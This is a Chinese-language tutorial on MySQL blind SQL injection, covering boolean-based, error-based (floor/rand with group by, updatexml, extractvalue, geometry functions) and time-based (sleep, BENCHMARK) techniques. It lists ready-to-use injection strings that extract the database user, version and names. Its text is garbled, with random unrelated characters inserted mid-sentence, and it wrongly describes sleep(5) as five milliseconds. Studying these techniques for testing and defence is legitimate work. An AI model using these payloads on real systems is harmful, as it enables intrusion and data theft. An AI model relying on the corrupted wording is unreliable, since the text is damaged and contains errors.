普通的sql注入大致可以通過(guò)在提交框中輸入單引號(hào)析既、雙引號(hào)和括號(hào)等看網(wǎng)頁(yè)的返回內(nèi)容來(lái)判斷,但有很多網(wǎng)站并不會(huì)將一些敏感數(shù)據(jù)顯示到前端咒精,而它們?nèi)匀皇谴嬖趕ql注入漏洞的牵辣。那么黑客面對(duì)這種不回顯的sql注入漏洞,也可以通過(guò)一些方法和技巧實(shí)現(xiàn)他們的目的姑曙,獲取到他們想要的一些信息襟交,這個(gè)過(guò)程就稱(chēng)為sql盲注。
如果注入的成功與否伤靠,頁(yè)面的返回值會(huì)有差異的話(huà)婿着,那么可以調(diào)取函數(shù)做一些比較操作,通過(guò)觀察頁(yè)面的返回做布爾值的盲注醋界,就是一個(gè)一個(gè)字符去比對(duì)去驗(yàn)證竟宋。如果頁(yè)面完全沒(méi)有任何返回差異的話(huà),也不是毫無(wú)辦法形纺,可以做基于時(shí)間的盲注丘侠。
基于布爾值的sql盲注
sql注入需要我們對(duì)sql語(yǔ)句及一些函數(shù)做到熟悉及靈活運(yùn)用。
截取字符串常用函數(shù)
盲注有時(shí)需要一個(gè)一個(gè)字符去猜逐样,因此一些字符串操作的函數(shù)經(jīng)常被用到蜗字。
mid(column_name,start,length)函數(shù)
其功能為截取字符串打肝,其中columa_name為要截取的字段參數(shù),start參數(shù)表示開(kāi)始截取的位置(起始值是1)挪捕,length參數(shù)表示要截取的長(zhǎng)度粗梭,非必需,如果不填則默認(rèn)截取到最后级零。
其中column_name參數(shù)也可以是其他函數(shù)或是select語(yǔ)句断医,如:MID(DATABASE(),1,1)表示數(shù)據(jù)庫(kù)名字的第一位,MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=xxx LIMIT 0,1),1,1)表示某查詢(xún)語(yǔ)句的返回值的第一位奏纪,其中語(yǔ)句可以自行構(gòu)造注入鉴嗤。
substr(string, start, length)函數(shù)
此函數(shù)功能與mid()函數(shù)類(lèi)似,參數(shù)也一樣序调,可以替換使用醉锅。
Left(string,n)函數(shù)
此函數(shù)功能為得到string字符串的左面指定n位的字符发绢,如Left(database(),1)表示數(shù)據(jù)庫(kù)名的左邊一位硬耍,Left(database(),2)表示數(shù)據(jù)庫(kù)名的左邊兩位。
ORD()函數(shù)和ASCII()函數(shù)
作用相同边酒,將字符轉(zhuǎn)為ascii 值默垄,如ORD(MID(DATABASE(),1,1))>114 意為檢測(cè)database()的第一位ASCII碼是否大于114,也即是‘r’甚纲。
正則表達(dá)式攻擊
使用正則表達(dá)式是因?yàn)檫@樣更加靈活口锭,如正則表達(dá)式中 ^[a-z] 表示字符串中開(kāi)始字符是在 a-z范圍內(nèi),這樣就可以不用一個(gè)一個(gè)去試介杆,節(jié)省時(shí)間鹃操。
select user() regexp '^[a-z]' 這句話(huà)就是正則表達(dá)式的用法,這里user()是root春哨,有下圖
正確的時(shí)候返回1荆隘,錯(cuò)誤時(shí)返回0。
like匹配注入
和正則表達(dá)式一樣赴背,為了提高匹配效率的一種方法椰拒,應(yīng)用如下圖:
基于報(bào)錯(cuò)的sql盲注
報(bào)錯(cuò)型注入是利用了MySQL的第8652號(hào)bug :Bug?#8652 group by part of rand() returns duplicate key error來(lái)進(jìn)行的盲注,使得MySQL由于函數(shù)的特性返回錯(cuò)誤信息凰荚,進(jìn)而我們可以顯示我們想要的信息燃观,從而達(dá)到注入的效果。其他數(shù)據(jù)庫(kù)也有類(lèi)似的問(wèn)題便瑟,但我們?cè)谶@里暫且不提缆毁。
Bug 8652的主要內(nèi)容就是在使用group by 對(duì)一些rand()函數(shù)進(jìn)行操作時(shí)會(huì)返回duplicate key 錯(cuò)誤,而這個(gè)錯(cuò)誤將會(huì)披露關(guān)鍵信息到涂,如
"Duplicate entry '####' for key 1"
這里的####正是用戶(hù)輸入的希望查詢(xún)的內(nèi)容脊框,而該bug產(chǎn)生的主要原因就是:在rand()和group by同時(shí)使用到的時(shí)候颁督,可能會(huì)產(chǎn)生超出預(yù)期的結(jié)果,因?yàn)闀?huì)多次對(duì)同一列進(jìn)行查詢(xún)
對(duì)這個(gè)bug進(jìn)行利用要求我們構(gòu)造出一些能觸發(fā)這種bug的語(yǔ)句浇雹,網(wǎng)上有一些公式來(lái)觸發(fā):
?id=1' union Select 1,count(*),concat(你希望的查詢(xún)語(yǔ)句,floor(rand(0)*2))a from information_schema.columns group by a--+
其中rand函數(shù)作用是產(chǎn)生一個(gè)0-1的隨機(jī)數(shù)沉御,floor的作用是向下取整。
原理是這樣昭灵,rand函數(shù)得出的序列是關(guān)鍵吠裆。
mysql在遇到select count(*) from tables group by x;這語(yǔ)句的時(shí)候會(huì)建立一個(gè)虛擬表(實(shí)際上就是會(huì)建立虛擬表),整個(gè)工作流程就會(huì)如下圖所示:
1.先建立虛擬表虎锚,如下圖(其中key是主鍵硫痰,不可重復(fù))
2.開(kāi)始查詢(xún)數(shù)據(jù)衩婚,取數(shù)據(jù)庫(kù)數(shù)據(jù)窜护,然后查看虛擬表存在不,不存在則插入新記錄非春,存在則count(*)字段直接加
由此看到 如果key存在的話(huà)就+1柱徙, 不存在的話(huà)就新建一個(gè)key。
mysql官方有給過(guò)提示奇昙,就是查詢(xún)的時(shí)候如果使用rand()的話(huà)护侮,該值會(huì)被計(jì)算多次,那這個(gè)“被計(jì)算多次”到底是什么意思储耐,就是在使用group by的時(shí)候羊初,floor(rand(0)*2)會(huì)被執(zhí)行一次,如果虛表不存在記錄什湘,插入虛表的時(shí)候會(huì)再被執(zhí)行一次长赞,我們來(lái)看下floor(rand(0)*2)報(bào)錯(cuò)的過(guò)程就知道了,從0x04可以看到在一次多記錄的查詢(xún)過(guò)程中floor(rand(0)*2)的值是定性的闽撤,為011011…(記住這個(gè)順序很重要)得哆,報(bào)錯(cuò)實(shí)際上就是floor(rand(0)*2)被計(jì)算多次導(dǎo)致的。
所以這整個(gè)流程是這樣哟旗,在查詢(xún)前系統(tǒng)會(huì)默認(rèn)建立一張?zhí)摂M表贩据,之后取第一條記錄,執(zhí)行floor(rand(0)*2)闸餐,結(jié)果為零饱亮,虛表中不存在結(jié)果為0的序列,因此會(huì)被插入舍沙,但這個(gè)時(shí)候rand會(huì)再次執(zhí)行一次近尚,此時(shí)的結(jié)果變?yōu)?,因此插入虛表的序列就變成了1场勤,之后查詢(xún)第二條時(shí)發(fā)現(xiàn)結(jié)果為1戈锻,此時(shí)我們不會(huì)再計(jì)算rand而是直接將count加一歼跟,插入第三條時(shí),rand結(jié)果為零格遭,虛表中不存在結(jié)果為零的序列哈街,因此要新建一項(xiàng),在新建時(shí)再次計(jì)算rand拒迅,此時(shí)的結(jié)果計(jì)算出是1骚秦,而1已經(jīng)存在于虛擬表中,再新建一個(gè)主鍵為1的會(huì)導(dǎo)致主鍵沖突璧微,因此直接報(bào)錯(cuò)作箍。
floor(rand()*2)報(bào)錯(cuò)
由于沒(méi)加入隨機(jī)因子,所以floor(rand()*2)是不可測(cè)的前硫,因此在兩條數(shù)據(jù)的時(shí)候胞得,只要出現(xiàn)下面情況,即可報(bào)錯(cuò)
前面幾條記錄查詢(xún)后不能讓虛表存在0,1鍵值屹电,如果存在了阶剑,那無(wú)論多少條記錄,也都沒(méi)辦法報(bào)錯(cuò)危号,因?yàn)閒loor(rand()*2)不會(huì)再被計(jì)算做為虛表的鍵值牧愁,這也就是為什么不加隨機(jī)因子有時(shí)候會(huì)報(bào)錯(cuò),有時(shí)候不會(huì)報(bào)錯(cuò)的原因外莲。
通過(guò)floor函數(shù):select * from message where id=1 union select * from (select count(*), concat(floor(rand(0)*2),(select user())) a frominformation_schema.tables group by a)b
其他方式
通過(guò)updatexml函數(shù):select *from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
updatexml的爆錯(cuò)原因很簡(jiǎn)單猪半,updatexml第二個(gè)參數(shù)需要的是Xpath格式的字符串。我們輸入的顯然不符合偷线。故報(bào)錯(cuò)由此報(bào)錯(cuò)磨确。updatexml的最大長(zhǎng)度是32位的,所以有所局限(PS:但是應(yīng)對(duì)大多的已經(jīng)足夠淋昭。)如果密碼長(zhǎng)度超過(guò)了32位就不會(huì)被顯示出來(lái)俐填。
通過(guò)extractvalue函數(shù):select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));
此外還有:id =1 and EXP(~(SELECT * from(select user())a))
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
以上六個(gè)函數(shù)原理類(lèi)似,執(zhí)行如下:
基于時(shí)間的sql盲注
基于時(shí)間的盲注其實(shí)和基于布爾值的盲注差不多翔忽,只是關(guān)于對(duì)錯(cuò)的參考物變成了時(shí)間英融,并且會(huì)涉及到一些有關(guān)時(shí)間的函數(shù)⌒剑基于布爾值的盲注基本是將系統(tǒng)字符串拆分并逐個(gè)比較驶悟,根據(jù)頁(yè)面返回的變化來(lái)判斷〔氖В基于時(shí)間的sql盲注原理并沒(méi)有太大的改變痕鳍,只是想辦法把對(duì)錯(cuò)與時(shí)間綁定在一起而已,為此我們需要用到以下一些新的函數(shù)。
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
上面這句話(huà)使用了IF將字符比較與sleep5毫秒連接到了一起笼呆,IF的用法很好理解熊响,if(a,b,c),a是一個(gè)判斷語(yǔ)句,如果a為真就返回b诗赌,如果a為假就返回c汗茄。上面這句話(huà)就是做了一個(gè) 字符串比較操作,如果對(duì)應(yīng)ascii碼不大于115铭若,就執(zhí)行sleep(5)洪碳,這樣我們就可以觀察到。
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
上面這句話(huà)意思是在0-9中找版本中的第一位叼屠,不同的數(shù)字會(huì)有不同的返回時(shí)間瞳腌,不過(guò)這只是一個(gè)理論情況,我們?nèi)庋凼菬o(wú)法分辨這樣微小的時(shí)間差異的镜雨,不過(guò)如果用到循環(huán)的話(huà)是可以實(shí)現(xiàn)的嫂侍,比如下面的benchmark。
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
BENCHMARK(count,expr)用于測(cè)試函數(shù)的性能冷离,參數(shù)一為次數(shù)吵冒,二為要執(zhí)行的表達(dá)式纯命∥靼可以讓函數(shù)執(zhí)行若干次,返回結(jié)果比平時(shí)要長(zhǎng)亿汞,通過(guò)時(shí)間長(zhǎng)短的變化瞭空,判斷語(yǔ)句是否執(zhí)行成功。但這會(huì)占用大量的cpu資源疗我,因此如果可以用sleep()函數(shù)替代咆畏,我們更推薦后者。